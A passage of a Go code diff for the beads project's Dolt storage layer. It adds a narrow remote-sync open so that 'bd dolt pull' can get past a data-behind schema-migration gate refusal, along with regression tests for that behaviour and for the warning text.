mustExec("add remote", sdb, "CALL DOLT_REMOTE('add', 'origin', ?)", remoteURL) + mustExec("push C0", sdb, "CALL DOLT_PUSH('origin', 'main')") + + // --- laggingClone: a genuine server-side clone of origin at C0. --- + laggingDB := uniqueTestDBName(t) + mustExec("clone lagging peer", sdb, "CALL DOLT_CLONE(?, ?)", remoteURL, laggingDB) + defer func() { + dropCtx, dropCancel := context.WithTimeout(context.Background(), 5*testTimeout) + defer dropCancel() + _, _ = sdb.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", laggingDB)) + }() + + laggingConn, err := sql.Open("mysql", doltutil.ServerDSN{ + Host: "127.0.0.1", Port: testServerPort, User: "root", Database: laggingDB, + }.String()) + if err != nil { + t.Fatalf("open laggingClone connection: %v", err) + } + defer laggingConn.Close() + laggingConn.SetMaxOpenConns(1) + + // --- source: a pure DATA commit C1 (no schema change) and publish. The + // schema cursor stays at pBehind on BOTH sides, so the clone lands on the + // gate's equal-version first-mover path while being a data commit behind. --- + mustExec("source data edit", sdb, "REPLACE INTO config (`key`, value) VALUES ('data-behind-marker', 'C1')") + mustExec("commit C1", sdb, "CALL DOLT_COMMIT('-Am', 'test: pure data commit (C1)')") + mustExec("push C1", sdb, "CALL DOLT_PUSH('origin', 'main')") + + // --- laggingClone: fetch only (no merge) so its cached ref advances but + // its own branch HEAD stays at C0. --- + mustExec("fetch (no merge)", laggingConn, "CALL DOLT_FETCH('origin')") + + // --- and, for the diverged shape, commits of its own on top of C0. bd + // auto-commits every write, so this is what an ordinary local `bd create` + // leaves behind. --- + for i := 0; i < localCommits; i++ { + mustExec("clone data edit", laggingConn, + "REPLACE INTO config (`key`, value) VALUES ('local-marker', ?)", fmt.Sprintf("L%d", i)) + mustExec("clone local commit", laggingConn, "CALL DOLT_COMMIT('-Am', 'test: local-only data commit')") + } + + // Fixture sanity: the clone's schema cursor equals the remote's (the + // first-mover precondition), not below it. + var laggingCurrent int + if err := laggingConn.QueryRowContext(ctx, + "SELECT COALESCE(MAX(version), 0) FROM schema_migrations").Scan(&laggingCurrent); err != nil { + t.Fatalf("read laggingClone current version: %v", err) + } + if laggingCurrent != pBehind { + t.Fatalf("laggingClone current version = %d, want %d", laggingCurrent, pBehind) + } + var remoteCurrent int + if err := laggingConn.QueryRowContext(ctx, + "SELECT COALESCE(MAX(version), 0) FROM schema_migrations AS OF 'remotes/origin/main'").Scan(&remoteCurrent); err != nil { + t.Fatalf("read cached remote current version: %v", err) + } + if remoteCurrent != laggingCurrent { + t.Fatalf("cached remote version = %d, want %d (equal-version first-mover path)", remoteCurrent, laggingCurrent) + } + + // The load-bearing measurement: the clone IS behind its own cached remote + // ref, in exactly the shape this subtest claims, read through the same + // primitive the gate consults. + ahead, behind, err := versioncontrolops.LocalAheadBehind(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("LocalAheadBehind: %v", err) + } + if behind < 1 || ahead != localCommits { + t.Fatalf("fixture position = ahead %d, behind %d; want ahead %d, behind >= 1", ahead, behind, localCommits) + } + // The strict-ancestor relation is the NARROWER fact the first fix used, and + // the diverged shape is precisely where it reads false while the clone is + // still behind — pin that, so this subtest cannot silently stop covering + // the widening it exists for. + strictAncestor, err := versioncontrolops.LocalIsStrictAncestorOf(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("LocalIsStrictAncestorOf: %v", err) + } + if want := localCommits == 0; strictAncestor != want { + t.Fatalf("LocalIsStrictAncestorOf = %v, want %v for ahead=%d", strictAncestor, want, ahead) + } + // And it is behind for data reasons only — the working set is clean, so the + // refusal below cannot be attributed to local dirt. + clean, err := versioncontrolops.WorkingSetClean(ctx, laggingConn) + if err != nil { + t.Fatalf("WorkingSetClean: %v", err) + } + if !clean { + t.Fatalf("fixture working set is dirty; the data-behind refusal must not depend on dirt") + } + + // #6575: the gate must refuse rather than auto-migrate this clone. + err = schema.CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt( + ctx, laggingConn, "origin", nil, realFastForwardAdopter()) + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("data-behind clone (ahead=%d): expected the gate to refuse, got %v (#6575: schema parity is not proof of first-mover status)", ahead, err) + } + if gateErr.Decision != "" { + t.Errorf("Decision = %q, want \"\" (the blunt #4515 stop)", gateErr.Decision) + } + if !gateErr.IsDataBehind() { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, "data-behind") + } + if gateErr.DataDiverged != wantDiverged { + t.Errorf("DataDiverged = %v, want %v", gateErr.DataDiverged, wantDiverged) + } + msg := gateErr.UserMessage() + // The remedy has to be there, and has to be the one measured to work from + // this state: the refusal's own open classification lets `bd dolt pull` + // through (see embeddeddolt's TestEmbeddedOpenForRemoteSync_DataBehind). + if !strings.Contains(msg, schema.DataBehindRemedyCommand) { + t.Errorf("UserMessage does not carry the pull-first remedy:\n%s", msg) + } + if !strings.Contains(msg, wantRemedy) { + t.Errorf("UserMessage does not describe this shape's pull (%q):\n%s", wantRemedy, msg) + } + + // No data motion: the refusal must not have moved the clone's HEAD. + aheadAfter, behindAfter, err := versioncontrolops.LocalAheadBehind(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("compare laggingClone HEAD to origin/main after refusal: %v", err) + } + if aheadAfter != ahead || behindAfter != behind { + t.Errorf("after refusal: ahead=%d behind=%d, want ahead=%d behind=%d (no data motion)", + aheadAfter, behindAfter, ahead, behind) + } + + // --- remedy loop: `bd dolt pull` (a fast-forward for the strict-ancestor + // shape, a merge for the diverged one) leaves the clone with nothing left to + // pull, and the SAME gate call then auto-migrates it as a true first-mover. + // This is what keeps the fix from over-refusing. --- + if localCommits == 0 { + mustExec("pull (fast-forward)", laggingConn, "CALL DOLT_MERGE('--ff-only', 'remotes/origin/main')") + } else { + mustExec("pull (merge)", laggingConn, "CALL DOLT_MERGE('remotes/origin/main')") + } + + _, behindAfterPull, err := versioncontrolops.LocalAheadBehind(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("LocalAheadBehind after pull: %v", err) + } + if behindAfterPull != 0 { + t.Fatalf("clone is still behind by %d after the pull; fixture broken", behindAfterPull) + } + + if err := schema.CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt( + ctx, laggingConn, "origin", nil, realFastForwardAdopter()); err != nil { + t.Fatalf("the first-mover auto-migrate must be allowed once there is nothing left to pull, got %v", err) + } +} diff --git a/internal/storage/dolt/smart_remote_migrate_gate_test.go b/internal/storage/dolt/smart_remote_migrate_gate_test.go index e41ee90cf..a862155e4 100644 --- a/internal/storage/dolt/smart_remote_migrate_gate_test.go +++ b/internal/storage/dolt/smart_remote_migrate_gate_test.go @@ -141,6 +141,9 @@ func realFastForwardAdopter() *schema.FastForwardAdopter { WorkingSetClean: func(ctx context.Context, db schema.DBConn) (bool, error) { return versioncontrolops.WorkingSetClean(ctx, db) }, + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, FastForward: func(ctx context.Context, db schema.DBConn, ref string) error { return versioncontrolops.FastForwardAdopt(ctx, db, ref) }, diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 966acedcb..bc9c17968 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -382,6 +382,15 @@ type Config struct { // open of a clean database converges normally. LenientOpen bool + // RemoteSyncOpen is LenientOpen's narrow sibling for the #6575 + // data-behind gate refusal: it tolerates ONLY that refusal (and only that + // refusal — not the dirty-table guard, not any other gate reason), because + // the refusal's documented remedy is `bd dolt pull`, which opens the store + // and so hit the refusal that prescribed it. Set for the remote-sync + // commands that can clear the refused precondition. Honored in embedded + // (openRemoteSync) and server mode alike. + RemoteSyncOpen bool + // Server connection options ServerSocket string // Unix domain socket path (overrides Host/Port when set) ServerHost string // Server host (default: 127.0.0.1) @@ -2041,7 +2050,9 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { if !cfg.ReadOnly && !cfg.Gateway { applied, err := store.initSchema(ctx, dbFacts.bootstrapHeal) if err != nil { - if !cfg.LenientOpen || !warnLenientOpenRefusal(err) { + tolerated := (cfg.LenientOpen && warnLenientOpenRefusal(err)) || + (cfg.RemoteSyncOpen && warnRemoteSyncOpenRefusal(err)) + if !tolerated { return nil, fmt.Errorf("failed to initialize schema: %w", err) } // A tolerated refusal still reports what the aborted pass @@ -2118,6 +2129,35 @@ func warnLenientOpenRefusal(err error) bool { return false } +// warnRemoteSyncOpenRefusal reports whether a remote-sync open +// (Config.RemoteSyncOpen) may continue past err instead of failing, warning on +// stderr when it may. +// +// It is warnLenientOpenRefusal's narrow sibling and tolerates exactly one +// refusal: the #6575 data-behind remote-migrate gate stop, whose documented +// remedy is `bd dolt pull` — a command that opens the store and therefore hit +// the very refusal that prescribed it. That is the #4566 deadlock shape, and +// #4566's own fix (a lenient open for `bd dolt commit`) is the precedent. +// +// Everything else — every other gate reason, the dirty-table guard, and any +// other migration failure — still fails the open here, exactly as on a strict +// open. A pull cannot resolve a fork skew, a below-floor database or a +// shared-store consent decision, so letting it through those refusals would +// buy nothing and hide them. +func warnRemoteSyncOpenRefusal(err error) bool { + var gateErr *schema.RemoteMigrateGateError + if errors.As(err, &gateErr) && gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "Warning: %s"+ + " Remote-sync command: continuing on schema v%d without migrating, so this\n"+ + " pull can bring in the commits this clone is behind on. Re-run the command\n"+ + " you were blocked on once it completes.\n", + gateErr.UserMessage(), gateErr.CurrentVersion) + return true + } + return false +} + var ( cleanServerCircuitState = CleanStaleCircuitBreakerFiles newServerCircuitBreaker = maybeNewCircuitBreaker @@ -2913,6 +2953,13 @@ func (s *DoltStore) initSchema(ctx context.Context, bootstrapHeal *schema.FreshB IsStrictAncestor: func(ctx context.Context, db schema.DBConn, ref string) (bool, error) { return versioncontrolops.LocalIsStrictAncestorOf(ctx, db, ref) }, + // The raw counts the equal-version data-behind check needs + // (gastownhall/beads#6575): behind >= 1 whatever ahead is, plus + // which shape it is so the refusal names the pull the operator + // will actually get. + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, WorkingSetClean: func(ctx context.Context, db schema.DBConn) (bool, error) { return versioncontrolops.WorkingSetClean(ctx, db) }, diff --git a/internal/storage/embeddeddolt/cache.go b/internal/storage/embeddeddolt/cache.go index 1e4e50f6c..72d9166e7 100644 --- a/internal/storage/embeddeddolt/cache.go +++ b/internal/storage/embeddeddolt/cache.go @@ -54,6 +54,19 @@ func OpenForWorkingSetReconcile(ctx context.Context, beadsDir, database, branch return openCached(ctx, beadsDir, database, branch, openWorkingSetReconcile) } +// OpenForRemoteSync opens like Open, except that the #6575 data-behind +// remote-migrate gate refusal — and only that one — skips the pending +// migrations with a stderr warning instead of failing the open: that refusal's +// entire remedy is `bd dolt pull`, which opens the store itself and so hit the +// refusal that prescribed it, leaving the refused clone with no in-band exit at +// all (the same deadlock #4566 broke for `bd dolt commit`). Every other gate +// refusal, the dirty-table guard and the dependency re-key still fail this open +// exactly as they fail a strict one. The returned store is otherwise a normal +// writable store. +func OpenForRemoteSync(ctx context.Context, beadsDir, database, branch string) (*EmbeddedDoltStore, error) { + return openCached(ctx, beadsDir, database, branch, openRemoteSync) +} + func openCached(ctx context.Context, beadsDir, database, branch string, intent openIntent) (*EmbeddedDoltStore, error) { key, err := cacheKey(beadsDir) if err != nil { @@ -65,8 +78,9 @@ func openCached(ctx context.Context, beadsDir, database, branch string, intent o // Cache hit: the requested intent is ignored - the store keeps // whatever intent it was opened with on the slow path below. This is // safe today because intent is derived once per process from the - // command classification (isReadOnlyCommand / isWorkingSetReconcileCommand - // in cmd/bd/main.go), so a single process never opens the same data + // command classification (isReadOnlyCommand / + // isWorkingSetReconcileCommand / isRemoteSyncCommand in + // cmd/bd/main.go), so a single process never opens the same data // directory under two different intents, and autoMigrateOnVersionBump // (cmd/bd/version_tracking.go) always opens its own openStrict store // and closes it before the main command's open runs, so it never diff --git a/internal/storage/embeddeddolt/remote_sync_gate_test.go b/internal/storage/embeddeddolt/remote_sync_gate_test.go new file mode 100644 index 000000000..adb140be6 --- /dev/null +++ b/internal/storage/embeddeddolt/remote_sync_gate_test.go @@ -0,0 +1,381 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "database/sql" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// buildDataBehindEmbedded leaves the embedded database at beadsDir in the +// #6575 state: level with its own cached remotes/origin/main on SCHEMA (both +// at latest-1, so the smart gate takes its equal-version first-mover path) and +// BEHIND it by one pure DATA commit. extraLocalCommits > 0 additionally gives +// it commits of its own, producing the diverged shape (ahead >= 1, behind >= 1). +// +// The behind-ness is produced the way the field cohort reaches it — a real +// file:// remote that has commits this history does not — rather than by +// stubbing the ancestry fact. A single database can build it because pushing +// C1 and then rewinding local HEAD to C0 leaves the remote-tracking ref ahead +// of the branch, which is exactly what a fetch-without-merge produces on a +// clone; no second engine is needed. +func buildDataBehindEmbedded(t *testing.T, beadsDir string, extraLocalCommits int) { + t.Helper() + ctx := t.Context() + dataDir := filepath.Join(beadsDir, "embeddeddolt") + + store, err := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if err != nil { + t.Fatalf("Open (create): %v", err) + } + store.Close() + + db, cleanup, err := embeddeddolt.OpenSQL(ctx, dataDir, "testdb", "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + + mustExec := func(stage, q string, args ...any) { + t.Helper() + if _, err := db.ExecContext(ctx, q, args...); err != nil { + t.Fatalf("%s: %v", stage, err) + } + } + + // C0: regress the schema cursor one migration below latest — the "old + // binary" state the 1.3.0 upgrade cohort is in — and publish it. + mustExec("regress schema cursor", "DELETE FROM schema_migrations WHERE version = ?", schema.LatestVersion()) + mustExec("stage C0", "CALL DOLT_ADD('-A')") + mustExec("commit C0", "CALL DOLT_COMMIT('--allow-empty', '-m', 'test: regress schema cursor (C0)')") + + var c0 string + if err := db.QueryRowContext(ctx, "SELECT commit_hash FROM dolt_log LIMIT 1").Scan(&c0); err != nil { + t.Fatalf("read C0 hash: %v", err) + } + + mustExec("add remote", "CALL DOLT_REMOTE('add', 'origin', ?)", + "file://"+filepath.Join(t.TempDir(), "remote")) + mustExec("push C0", "CALL DOLT_PUSH('origin', 'main')") + + // C1: a pure DATA commit, published. No schema change, so both sides stay + // at latest-1 and the gate lands on its equal-version path. + mustExec("data edit", "REPLACE INTO config (`key`, value) VALUES ('data-behind-marker', 'C1')") + mustExec("commit C1", "CALL DOLT_COMMIT('-Am', 'test: pure data commit (C1)')") + mustExec("push C1", "CALL DOLT_PUSH('origin', 'main')") + + // Rewind the branch to C0. remotes/origin/main stays at C1, so this + // history is now behind its cached remote ref by one data commit. + mustExec("rewind to C0", "CALL DOLT_RESET('--hard', ?)", c0) + + for i := 0; i < extraLocalCommits; i++ { + mustExec("local data edit", "REPLACE INTO config (`key`, value) VALUES ('local-marker', ?)", i) + mustExec("local commit", "CALL DOLT_COMMIT('-Am', 'test: local-only data commit')") + } + + assertAheadBehind(t, db, extraLocalCommits, 1) +} + +// assertAheadBehind pins the fixture's measured position against +// remotes/origin/main, so a refusal below can never be attributed to a fixture +// that failed to produce the state it claims. +func assertAheadBehind(t *testing.T, db *sql.DB, wantAhead, wantBehind int) { + t.Helper() + var ahead, behind int + if err := db.QueryRowContext(t.Context(), ` + SELECT + (SELECT COUNT(*) FROM dolt_log WHERE commit_hash NOT IN + (SELECT commit_hash FROM dolt_log AS OF 'remotes/origin/main')) AS ahead, + (SELECT COUNT(*) FROM dolt_log AS OF 'remotes/origin/main' WHERE commit_hash NOT IN + (SELECT commit_hash FROM dolt_log)) AS behind + `).Scan(&ahead, &behind); err != nil { + t.Fatalf("measure ahead/behind: %v", err) + } + if ahead != wantAhead || behind != wantBehind { + t.Fatalf("fixture position = ahead %d, behind %d; want ahead %d, behind %d", + ahead, behind, wantAhead, wantBehind) + } +} + +// pendingMigrationStillPending fails unless the binary's latest migration is +// still unapplied — i.e. the open under test did NOT migrate. +func pendingMigrationStillPending(t *testing.T, beadsDir string) { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), filepath.Join(beadsDir, "embeddeddolt"), "testdb", "main") + if err != nil { + t.Fatalf("OpenSQL (verify): %v", err) + } + defer func() { _ = cleanup() }() + var count int + if err := db.QueryRowContext(t.Context(), + "SELECT COUNT(*) FROM schema_migrations WHERE version = ?", schema.LatestVersion()).Scan(&count); err != nil { + t.Fatalf("read schema_migrations: %v", err) + } + if count != 0 { + t.Fatalf("the open applied the pending migration (version %d recorded); a data-behind clone must not migrate", + schema.LatestVersion()) + } +} + +// TestEmbeddedOpenForRemoteSync_DataBehind is the F1 regression test for +// gastownhall/beads#6575: the refusal must not block its own prescribed +// remedy. +// +// The data-behind stop tells the operator to run `bd dolt pull`. That command +// opens the store, and a strict open re-hits the refusal that prescribed it, so +// before this the refused clone had no in-band exit at all — on embedded there +// is no external `dolt` binary either, leaving only +// BD_ALLOW_REMOTE_MIGRATE=1, i.e. performing the migration the refusal exists +// to prevent. This is the same deadlock #4566 broke for `bd dolt commit`, and +// the remote-sync open is its narrow twin. +// +// Both shapes are covered: strict-ancestor (ahead 0) and diverged (ahead 1). +func TestEmbeddedOpenForRemoteSync_DataBehind(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + + for _, tc := range []struct { + name string + extraLocalCommits int + wantDiverged bool + }{ + {name: "strict ancestor (ahead 0, behind 1)", extraLocalCommits: 0}, + {name: "diverged (ahead 1, behind 1)", extraLocalCommits: 1, wantDiverged: true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + t.Setenv(schema.SmartGateEnv, "1") + schema.SetForceAllowRemoteMigrate(false) + + ctx := t.Context() + beadsDir := filepath.Join(t.TempDir(), ".beads") + buildDataBehindEmbedded(t, beadsDir, tc.extraLocalCommits) + + // A strict open still refuses, and refuses for the data-behind + // reason (not some other fixture artifact). + gated, gateErr := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if gateErr == nil { + gated.Close() + t.Fatal("Open of a data-behind, remote-backed DB = nil error, want the #6575 refusal") + } + var rmErr *schema.RemoteMigrateGateError + if !errors.As(gateErr, &rmErr) { + t.Fatalf("Open error = %T (%v), want *schema.RemoteMigrateGateError", gateErr, gateErr) + } + if !rmErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q, want the data-behind stop", rmErr.FallbackReason) + } + if rmErr.DataDiverged != tc.wantDiverged { + t.Errorf("DataDiverged = %v, want %v", rmErr.DataDiverged, tc.wantDiverged) + } + + // ...and the remote-sync open — what `bd dolt pull` uses — gets + // through it, without migrating. + syncStore, syncErr := embeddeddolt.OpenForRemoteSync(ctx, beadsDir, "testdb", "main") + if syncErr != nil { + t.Fatalf("OpenForRemoteSync of a data-behind DB = %v; the refusal must not block the pull it prescribes (#6575)", syncErr) + } + syncStore.Close() + pendingMigrationStillPending(t, beadsDir) + }) + } +} + +// TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal pins the narrowness of +// the exemption above, which is the whole reason it is keyed on the gate's +// REASON rather than being another blanket lenient open: a pull cannot resolve +// a fork skew, a below-floor database or an opted-out blunt block, so it must +// not be waved through them. Here BD_SMART_GATE=0 produces the blunt +// opted-out stop on the very same fixture that the data-behind case above +// opens successfully. +func TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + schema.SetForceAllowRemoteMigrate(false) + + ctx := t.Context() + beadsDir := filepath.Join(t.TempDir(), ".beads") + // Build the fixture with the smart gate ON (the fixture helper's own + // Open must not be the thing that is opted out), then opt out for the + // probe below. + t.Setenv(schema.SmartGateEnv, "1") + buildDataBehindEmbedded(t, beadsDir, 0) + t.Setenv(schema.SmartGateEnv, "0") + + store, err := embeddeddolt.OpenForRemoteSync(ctx, beadsDir, "testdb", "main") + if err == nil { + store.Close() + t.Fatal("OpenForRemoteSync = nil error with BD_SMART_GATE=0; the exemption must apply to the data-behind reason only") + } + var rmErr *schema.RemoteMigrateGateError + if !errors.As(err, &rmErr) { + t.Fatalf("error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if rmErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q; with the smart gate off this must be the blunt opted-out stop", rmErr.FallbackReason) + } +} + +// TestEmbeddedLenientOpenWarning_DataBehind is the READ-path half of +// gastownhall/beads#6575, and the half the write-path fix missed. +// +// The lenient embedded opens do not fail on this refusal — they warn and carry +// on — so the warning IS the entire user-facing contract for `bd list`, +// `bd ready`, `bd show` (openReadOnlyCommand) and `bd dolt commit` +// (openWorkingSetReconcile). Those are the first commands a 1.1-era upgrader +// runs and the ones agents run constantly, and they printed the blunt #4259 +// coordination bullets: `bd migrate --force && bd dolt push`, which on a +// data-behind clone applies the migration this stop exists to prevent and then +// fails the push non-fast-forward, and `bd bootstrap`, which no-ops against an +// existing workspace. A fence whose own signage pointed into the wedge. +// +// The assertions are deliberately two-sided — the pull must be present AND the +// wedge commands must be absent — because the previous round satisfied +// "mentions the remedy somewhere" while still printing the bullets underneath +// it. +func TestEmbeddedLenientOpenWarning_DataBehind(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + + shapes := []struct { + name string + extraLocalCommits int + wantShapeText string + notShapeText string + }{ + { + name: "fast-forward (ahead 0, behind 1)", + wantShapeText: "pure fast-forward", + notShapeText: "MERGES rather than", + }, + { + name: "diverged (ahead 1, behind 1)", + extraLocalCommits: 1, + wantShapeText: "MERGES rather than", + notShapeText: "pure fast-forward", + }, + } + intents := []struct { + name string + open func(t *testing.T, beadsDir string) (*embeddeddolt.EmbeddedDoltStore, error) + modeText string + }{ + { + name: "openReadOnlyCommand (bd list)", + open: func(t *testing.T, beadsDir string) (*embeddeddolt.EmbeddedDoltStore, error) { + return embeddeddolt.OpenForReadOnlyCommand(t.Context(), beadsDir, "testdb", "main") + }, + modeText: "Read-only command: continuing on schema v", + }, + { + name: "openWorkingSetReconcile (bd dolt commit)", + open: func(t *testing.T, beadsDir string) (*embeddeddolt.EmbeddedDoltStore, error) { + return embeddeddolt.OpenForWorkingSetReconcile(t.Context(), beadsDir, "testdb", "main") + }, + modeText: "Working-set reconcile command: continuing on schema v", + }, + } + + for _, shape := range shapes { + for _, intent := range intents { + t.Run(shape.name+"/"+intent.name, func(t *testing.T) { + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + t.Setenv(schema.SmartGateEnv, "1") + schema.SetForceAllowRemoteMigrate(false) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + buildDataBehindEmbedded(t, beadsDir, shape.extraLocalCommits) + + var store *embeddeddolt.EmbeddedDoltStore + var openErr error + warning := captureStderr(t, func() { + store, openErr = intent.open(t, beadsDir) + }) + if openErr != nil { + t.Fatalf("lenient open of a data-behind DB = %v; it must warn and continue", openErr) + } + store.Close() + pendingMigrationStillPending(t, beadsDir) + + for _, want := range []string{ + schema.DataBehindRemedyCommand, + "This clone is BEHIND the remote", + "Do NOT use `bd migrate --force` to get past this", + shape.wantShapeText, + intent.modeText, + } { + if !strings.Contains(warning, want) { + t.Errorf("warning is missing %q; got:\n%s", want, warning) + } + } + if strings.Contains(warning, shape.notShapeText) { + t.Errorf("warning describes the wrong pull shape (%q); got:\n%s", shape.notShapeText, warning) + } + + // The blunt #4259 coordination bullets, which ARE the #6575 + // wedge when this is the refusal. + for _, unwanted := range []string{ + "bd migrate --force && bd dolt push", + "designated migrator (only ONE machine)", + "bd bootstrap", + } { + if strings.Contains(warning, unwanted) { + t.Errorf("warning still prescribes %q on a data-behind clone; got:\n%s", unwanted, warning) + } + } + }) + } + } +} + +// TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance is the other +// side of that fence. The data-behind body REPLACES the blunt coordination +// bullets rather than decorating them, so it must not swallow them for the +// refusals they are right for. BD_SMART_GATE=0 turns the same fixture into the +// blunt opted-out stop, where migrate-or-adopt genuinely is the decision. +func TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + schema.SetForceAllowRemoteMigrate(false) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + t.Setenv(schema.SmartGateEnv, "1") + buildDataBehindEmbedded(t, beadsDir, 0) + t.Setenv(schema.SmartGateEnv, "0") + + var store *embeddeddolt.EmbeddedDoltStore + var openErr error + warning := captureStderr(t, func() { + store, openErr = embeddeddolt.OpenForReadOnlyCommand(t.Context(), beadsDir, "testdb", "main") + }) + if openErr != nil { + t.Fatalf("lenient open with the smart gate off = %v; it must warn and continue", openErr) + } + store.Close() + + for _, want := range []string{ + "designated migrator (only ONE machine): bd migrate --force && bd dolt push", + "every other clone (another already migrated): bd bootstrap", + "Read-only command: continuing on schema v", + } { + if !strings.Contains(warning, want) { + t.Errorf("blunt warning is missing %q; got:\n%s", want, warning) + } + } + if strings.Contains(warning, "This clone is BEHIND the remote") { + t.Errorf("the data-behind body leaked into a non-data-behind refusal; got:\n%s", warning) + } +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 57c663146..58c96b785 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -66,9 +66,11 @@ type EmbeddedDoltStore struct { } // openIntent classifies why a store is being opened. openStrict fails the -// open on any pending-migration refusal; the other two intents relax both -// the #4259 remote-migrate gate refusal and the #4566 dirty-table refusal, -// each with its own warning text (see initSchema). +// open on any pending-migration refusal; openReadOnlyCommand and +// openWorkingSetReconcile relax both the #4259 remote-migrate gate refusal and +// the #4566 dirty-table refusal, each with its own warning text (see +// initSchema); openRemoteSync relaxes exactly one gate refusal and nothing +// else. type openIntent int const ( @@ -86,8 +88,52 @@ const ( // touch, so failing the open here would deadlock the documented recovery // (#4566). Used by OpenForWorkingSetReconcile. openWorkingSetReconcile + // openRemoteSync is the same shape of deadlock break as + // openWorkingSetReconcile, for the #6575 data-behind gate refusal: that + // refusal's entire remedy is `bd dolt pull`, which itself opens the store + // and so hit the refusal that prescribed it — a fence with no gate. Unlike + // the two intents above it relaxes exactly ONE refusal and nothing else: + // only a gate error whose reason is data-behind + // (RemoteMigrateGateError.IsDataBehind). Every other gate refusal, the + // #4566 dirty-table guard, and the #5268 dependency re-key still fail this + // open exactly as they do a strict one — the pull is being let through its + // own precondition, not granted a general exemption. Used by + // OpenForRemoteSync. + openRemoteSync ) +// toleratesGateRefusal reports whether this open's intent may warn and +// continue past a remote-migrate gate refusal (#4259/#5920/#6575) instead of +// failing the open. +// +// openRemoteSync is deliberately conditional on the REASON rather than being +// another blanket exemption: it exists only so `bd dolt pull` can execute the +// #6575 data-behind refusal's own remedy, and widening it to every gate +// refusal would quietly let a pull through a fork-skew or shared-store stop +// that the pull cannot help with. +func (s *EmbeddedDoltStore) toleratesGateRefusal(gateErr *schema.RemoteMigrateGateError) bool { + switch s.intent { + case openReadOnlyCommand, openWorkingSetReconcile: + return true + case openRemoteSync: + return gateErr.IsDataBehind() + default: // openStrict + return false + } +} + +// toleratesMigrationRefusal reports whether this open's intent may warn and +// continue past a MigrateUp refusal that is not the gate: the #4566 +// dirty-table guard and the #5268 dependency re-key conflict. +// +// openRemoteSync is absent on purpose. It is not listed as "not openStrict" +// because that phrasing is what would have silently enrolled it: the remote- +// sync exemption was granted for one gate reason, and a dirty working set or a +// re-key conflict is a different refusal with a different recovery. +func (s *EmbeddedDoltStore) toleratesMigrationRefusal() bool { + return s.intent == openReadOnlyCommand || s.intent == openWorkingSetReconcile +} + // errClosed is returned when a method is called after Close. var errClosed = errors.New("embeddeddolt: store is closed") @@ -369,6 +415,13 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { IsStrictAncestor: func(ctx context.Context, db schema.DBConn, ref string) (bool, error) { return versioncontrolops.LocalIsStrictAncestorOf(ctx, db, ref) }, + // The raw counts the equal-version data-behind check needs + // (gastownhall/beads#6575): behind >= 1 whatever ahead is, plus + // which shape it is so the refusal names the pull the operator + // will actually get. + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, WorkingSetClean: func(ctx context.Context, db schema.DBConn) (bool, error) { return versioncontrolops.WorkingSetClean(ctx, db) }, @@ -388,7 +441,7 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { } if err := schema.CheckRemoteMigrateGateWithAdopt(ctx, conn, adopt); err != nil { var gateErr *schema.RemoteMigrateGateError - if s.intent != openStrict && errors.As(err, &gateErr) { + if errors.As(err, &gateErr) && s.toleratesGateRefusal(gateErr) { // The gate exists to stop in-place migration on a remote-backed, // already-initialized database (#4259), not to block reads or a // working-set commit. Warn and continue on the current schema; 